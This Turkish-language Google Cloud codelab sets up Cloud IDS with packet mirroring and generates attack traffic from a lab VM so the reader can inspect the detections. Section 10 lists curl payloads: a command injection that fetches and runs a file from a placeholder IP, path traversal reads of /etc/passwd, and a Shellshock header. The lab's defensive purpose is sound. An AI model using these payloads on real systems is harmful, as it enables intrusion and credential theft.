1. Giriş
Bu laboratuvarda, izinsiz girişler, kötü amaçlı yazılımlar, casus yazılımlar ve komuta ve kontrol saldırıları için tehdit algılama sağlayan yeni nesil gelişmiş bir izinsiz giriş tespiti hizmeti olan Cloud IDS'yi dağıtıyorsunuz. Birden fazla saldırıyı simüle edip tehdit ayrıntılarını Cloud Console'da görüntüleyeceksiniz.
Neler öğreneceksiniz?
- Cloud IDS uç noktası oluşturma
- gcloud komutlarıyla 2 sanal makine oluşturma
- Paket yansıtma politikası oluşturma
- Sanal makineden saldırı trafiğini simüle etme
- Cloud Console ve Cloud Logging'de tehdit ayrıntılarını görüntüleme
Gerekenler
- Temel Linux komutları hakkında bilgi
2. Cloud IDS kullanım alanları
Cloud IDS, müşterilerin PCI 11.4 gibi gelişmiş tehdit algılama ve uygunluk şartlarını karşılamaları için Google Cloud'a özgü yeni nesil bir yetkisiz erişim tespit hizmeti (IDS) sunar. Hizmet, gelişmiş yetkisiz erişim tespiti sağlamak için Palo Alto Networks tehdit koruma teknolojileri tarafından desteklenir. Google Cloud'un birinci sınıf altyapısını Palo Alto Networks'ün birinci sınıf güvenliğiyle birleştiren bu çözüm, müşterilere tümüyle yönetilen, yüksek performanslı ve en yüksek güvenlik etkinliğine sahip gelişmiş tehdit algılama hizmetinin benzersiz bir kombinasyonunu sunar.
Müşteriler buluta geçiş yaparken güvenlik en çok önem verdikleri konulardan biridir. Şirket içinde kullandıkları güvenlik kontrollerine benzer kontrolleri bulutta da kullanmak isterler. Örneğin, izinsiz giriş tespiti hizmeti (IDS). Üçüncü taraf bir güvenlik çözümü dağıtıp altyapıyı yönetmek veya kendi imzalarını getirmek yerine, dağıtım kolaylığı, yüksek performans ve optimize edilmiş maliyetler için buluta özel yönetilen bir IDS çözümü kullanmayı tercih ediyorlar. Google Cloud IDS, müşterilerin zamanlarını tehditleri analiz etmeye ve azaltmaya harcamalarını sağlayan, uçtan uca ve otomatik ölçeklendirme özellikli bir yönetilen IDS hizmeti sunar. Bu hizmet, müşterilerin altyapıyı veya tehdit imzalarını yönetmek için zaman ve kaynak ayırmasına gerek kalmaz.
Cloud IDS, bant dışı olarak dağıtılır ve tehditleri algılayıp bunlarla ilgili uyarı verebilir ancak tehditleri engelleyemez. Palo Alto Network tehdit algılama motoru kullanılarak analiz edilen ağ trafiğinin bir kopyasını oluşturmak için Google Cloud Paket Yansıtma'dan yararlanır.
3. Codelab topolojisi

Şekil 1. Bu laboratuvar için Cloud IDS dağıtımının üst düzey mimari genel görünümü.
4. Kurulum ve Gereksinimler
Yönlendirmesiz ortam kurulumu
- Google Cloud Console'da oturum açın ve yeni bir proje oluşturun veya mevcut bir projeyi yeniden kullanın. Gmail veya Google Workspace hesabınız yoksa hesap oluşturmanız gerekir.



- Proje adı, bu projenin katılımcıları için görünen addır. Google API'leri tarafından kullanılmayan bir karakter dizisidir ve istediğiniz zaman güncelleyebilirsiniz.
- Proje kimliği, tüm Google Cloud projelerinde benzersiz olmalı ve sabittir (ayarlandıktan sonra değiştirilemez). Cloud Console, benzersiz bir dizeyi otomatik olarak oluşturur. Genellikle bu dizenin ne olduğuyla ilgilenmezsiniz. Çoğu codelab'de proje kimliğine (genellikle
PROJECT_IDolarak tanımlanır) başvurmanız gerekir. Bu nedenle, beğenmezseniz başka bir rastgele kimlik oluşturabilir veya kendi kimliğinizi deneyip kullanılabilir olup olmadığını görebilirsiniz. Proje oluşturulduktan sonra bu değer "dondurulur". - Bazı API'lerin kullandığı üçüncü bir değer olan Proje Numarası da vardır. Bu üç değer hakkında daha fazla bilgiyi belgelerde bulabilirsiniz.
- Ardından, Cloud kaynaklarını/API'lerini kullanmak için Cloud Console'da faturalandırmayı etkinleştirmeniz gerekir. Bu codelab'i tamamlamak neredeyse hiç maliyetli değildir. Bu eğitimin ötesinde faturalandırma ücreti alınmaması için kaynakları kapatmak üzere codelab'in sonunda bulunan "temizleme" talimatlarını uygulayın. Google Cloud'un yeni kullanıcıları 300 ABD doları değerinde ücretsiz deneme programından yararlanabilir.
Cloud Shell'i başlatma
Google Cloud, dizüstü bilgisayarınızdan uzaktan çalıştırılabilir. Ancak bu codelab'de, Cloud'da çalışan bir komut satırı ortamı olan Google Cloud Shell'i kullanacaksınız.
GCP Console'da sağ üstteki araç çubuğunda Cloud Shell simgesini tıklayın:

Ortamın temel hazırlığı ve bağlanması yalnızca birkaç dakikanızı alır. İşlem tamamlandığında aşağıdakine benzer bir sonuç görürsünüz:

Bu sanal makine, ihtiyaç duyacağınız tüm geliştirme araçlarını içerir. 5 GB boyutunda kalıcı bir ana dizin sunar ve Google Cloud üzerinde çalışır. Bu sayede ağ performansı ve kimlik doğrulama önemli ölçüde güçlenir. Bu laboratuvardaki çalışmalarınızın tamamını yalnızca bir tarayıcı kullanarak yapabilirsiniz.
5. Başlamadan önce
API'leri etkinleştir
Cloud Shell'de proje kimliğinizin ayarlandığından emin olun.
gcloud config list project gcloud config set project [YOUR-PROJECT-NAME] export PROJECT_ID=$(gcloud config get-value project | sed '2d')
Gerekli tüm hizmetleri etkinleştirin
gcloud services enable compute.googleapis.com gcloud services enable ids.googleapis.com gcloud services enable logging.googleapis.com
6. VPC ağı oluştur
VPC Ağı
Cloud Shell'den
gcloud compute networks create cloud-ids \ --subnet-mode=custom
Alt ağ
Cloud Shell'den
gcloud compute networks subnets create cloud-ids-useast1 \ --range=192.168.10.0/24 \ --network=cloud-ids \ --region=us-east1
Özel Hizmet Erişimi
Cloud Shell'den
gcloud compute addresses create cloud-ids-ips \ --global \ --purpose=VPC_PEERING \ --addresses=10.10.10.0 \ --prefix-length=24 \ --description="Cloud IDS Range" \ --network=cloud-ids
Private Service Connection
Cloud Shell'den
gcloud services vpc-peerings connect \ --service=servicenetworking.googleapis.com \ --ranges=cloud-ids-ips \ --network=cloud-ids \ --project=$PROJECT_ID
Güvenlik Duvarı Kuralları
IAP'nin sanal makine örneklerinize bağlanmasına izin vermek için aşağıdaki özellikleri içeren bir güvenlik duvarı kuralı oluşturun:
- IAP kullanarak erişmek istediğiniz tüm sanal makine örnekleri için geçerlidir.
- 35.235.240.0/20 IP aralığından gelen giriş trafiğine izin verir. Bu aralık, IAP'nin TCP yönlendirme için kullandığı tüm IP adreslerini içerir.
Cloud Shell'den
gcloud compute firewall-rules create allow-iap-proxy \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:22 \ --source-ranges=35.235.240.0/20
Standart HTTP bağlantı noktasına (TCP 80) ve ICMP protokolünün sunucuya ulaşmasına izin vermek için:
- "server" ağ etiketine sahip kaynaklar için geçerlidir.
- Tüm kaynaklardan girişe izin verir.
Cloud Shell'den
gcloud compute firewall-rules create allow-http-icmp \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:80,icmp \ --source-ranges=0.0.0.0/0 \ --target-tags=server
Cloud NAT örneği oluşturma
Cloud Router
Cloud Shell'den
gcloud compute routers create cr-cloud-ids-useast1 \ --region=us-east1 \ --network=cloud-ids
Cloud NAT
Cloud Shell'den
gcloud compute routers nats create nat-cloud-ids-useast1 \ --router=cr-cloud-ids-useast1 \ --router-region=us-east1 \ --auto-allocate-nat-external-ips \ --nat-all-subnet-ip-ranges
7. Cloud IDS uç noktası oluşturma
Bu bölümde, us-east1'de bilgi düzeyinde önem derecesine sahip bir Cloud IDS uç noktası oluşturacaksınız. IDS uç noktasının oluşturulması yaklaşık 20 dakika sürer.
IDS uç noktası
Cloud Shell'den
gcloud ids endpoints create cloud-ids-east1 \ --network=cloud-ids \ --zone=us-east1-b \ --severity=INFORMATIONAL \ --async
Cloud IDS uç noktasının başlatıldığını doğrulama
gcloud ids endpoints list --project=$PROJECT_ID
Çıkış -
ID: cloud-ids-east1 LOCATION: us-east1-b SEVERITY: INFORMATIONAL STATE: CREATING NETWORK: cloud-ids TRAFFIC_LOGS:
8. 2 sanal makine oluşturma
Bu bölümde 2 sanal makine oluşturacaksınız. Birincisi, Cloud IDS'ye yansıtılan web sunucunuzdur. İkinci sanal makine, saldırı trafiği kaynağınız olacaktır.
Sanal Makine 1 (Sunucu)
Cloud Shell'den
gcloud compute instances create server \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.20 \ --metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \ --tags=server \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
Sanal Makine 2 (İstemci)
Cloud Shell'den
gcloud compute instances create attacker \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.10 \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
9. Sunucuyu hazırlama
Bu görevde, sunucunuzu doğrulayacak ve istemciniz için zararsız bir kötü amaçlı yazılım yükü sağlayacaksınız.
Cloud Shell aracılığıyla sanal makineye SSH ile bağlanma
gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap
Web hizmetinin çalıştığını onaylayın
sudo systemctl status nginx
Çıkış: Etkin ve çalışır durumda olduğunu doğrulayın.
● nginx.service - A high performance web server and a reverse proxy server
Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
Docs: man:nginx(8)
Main PID: 1347 (nginx)
Tasks: 3 (limit: 4665)
Memory: 4.5M
CGroup: /system.slice/nginx.service
├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
├─1348 nginx: worker process
└─1349 nginx: worker process
May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.
Dizini web hizmetine değiştirme
cd /var/www/html/
Web sunucusunda zararsız bir kötü amaçlı yazılım dosyası oluşturma
sudo touch eicar.file
İçeriği yapıştırın
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file
Cloud Shell'e dönme
exit
Cloud IDS paket yansıtma politikası oluşturma
IDS uç noktası yönlendirme kuralını belirleyin ve IDS uç noktası durumunun "HAZIR" olduğunu onaylayın.
gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
Örnek Çıkış: "endpointForwardingRule"dan değeri kopyalayın.
user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b createTime: '2021-07-01T21:03:56.099839751Z' endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca endpointIp: 172.16.30.43 name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1 network: projects/ids-project/global/networks/cloud-ids severity: INFORMATIONAL state: READY updateTime: '2021-07-01T21:21:32.744309107Z'
IDS uç noktası yönlendirme kuralını bir değişkene kaydedin.
export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)") echo $FORWARDING_RULE
Paket Yansıtma Politikası
Cloud Shell'den
gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \ --region=us-east1 \ --collector-ilb=$FORWARDING_RULE \ --network=cloud-ids \ --mirrored-subnets=cloud-ids-useast1
Paket yansıtma politikasının oluşturulduğunu doğrulayın
Cloud Shell'den
gcloud compute packet-mirrorings list
Çıkış
user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list NAME REGION NETWORK ENABLE cloud-ids-packet-mirroring us-east1 cloud-ids TRUE
10. Saldırı trafiğini simüle etme
Saldırganın sanal makinesine (istemci) SSH kullanarak bağlanma
Cloud Shell'den
gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap
Kötü amaçlı trafiği simüle etmek için aşağıdaki curl isteklerini çalıştırın.
curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical
Cloud Shell'e dönmek için sanal makineden çıkın.
exit
11. Cloud IDS tarafından algılanan tehditleri inceleme
Cloud IDS kontrol paneline gitme
Gezinme menüsü > Ağ Güvenliği > Cloud IDS

Tehditler sekmesine gidin.

Gördüğünüz gibi Cloud IDS, çeşitli saldırı trafiği profillerini yakaladı ve her tehditle ilgili ayrıntıları sağladı. Herhangi bir tehdit görmüyorsanız "Yenile" düğmesini tıklamanız gerekebilir. Şimdi biraz daha ayrıntıya inip tehdit ayrıntılarını inceleyelim.
"Bash Uzaktan Kod Yürütme Güvenlik Açığı" tehdidini bulun, sağdaki üç noktayı tıklayın ve "Tehdit ayrıntılarını görüntüle"yi seçin.


Şimdi bu olayın ayrıntılarını Cloud Logging'de görüntüleyeceğiz. Sola bakan oku tıklayarak Tehditler sayfasına geri dönün .
Sağdaki üç noktayı tıklayın ve "Tehdit günlüklerini görüntüle"yi seçin.


Aynı ayrıntılar Cloud Logging'e de sağlanır. Bu sayede günlükleri Cloud Storage, Chronicle veya herhangi bir SIEM/SOAR'a gönderebilirsiniz. Ayrıca, uyarılara göre düzeltme işlemi yapmak için özel iş akışları da oluşturabilirsiniz. Örneğin, bir uyarı tetiklendiğinde çalışan bir Cloud işlevi oluşturabilir ve IP adresini engellemek için bir güvenlik duvarı kuralı oluşturabilir/güncelleyebilir veya bir Cloud Armor politikası oluşturabilir/güncelleyebilirsiniz.
12. Temizleme adımları
Sanal makine örneğinden çıkma (tüm sekmeler)
exit
Tek bir Cloud Shell terminalinden laboratuvar bileşenlerini silme
gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet gcloud compute instances delete server --zone=us-east1-b --quiet gcloud compute instances delete attacker --zone=us-east1-b --quiet gcloud compute firewall-rules delete allow-iap-proxy --quiet gcloud compute firewall-rules delete allow-http-icmp --quiet gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet gcloud compute addresses delete cloud-ids-ips --global --quiet gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet gcloud compute networks delete cloud-ids --quiet
13. Tebrikler!
Codelab'i tamamladığınız için tebrik ederiz.
İşlediğimiz konular
- Cloud IDS kullanım alanları
- Ağ gereksinimleri
- Desteklenen API'ler
- Cloud IDS uç noktası oluşturduysanız
- 2 sanal makine dağıtıldı
- İstemciden "saldırı" trafiği oluşturulmuş
- Doğrulanmış tehditler IDS tarafından algılandı
- Tehdit ayrıntılarını ve günlüklerini inceleme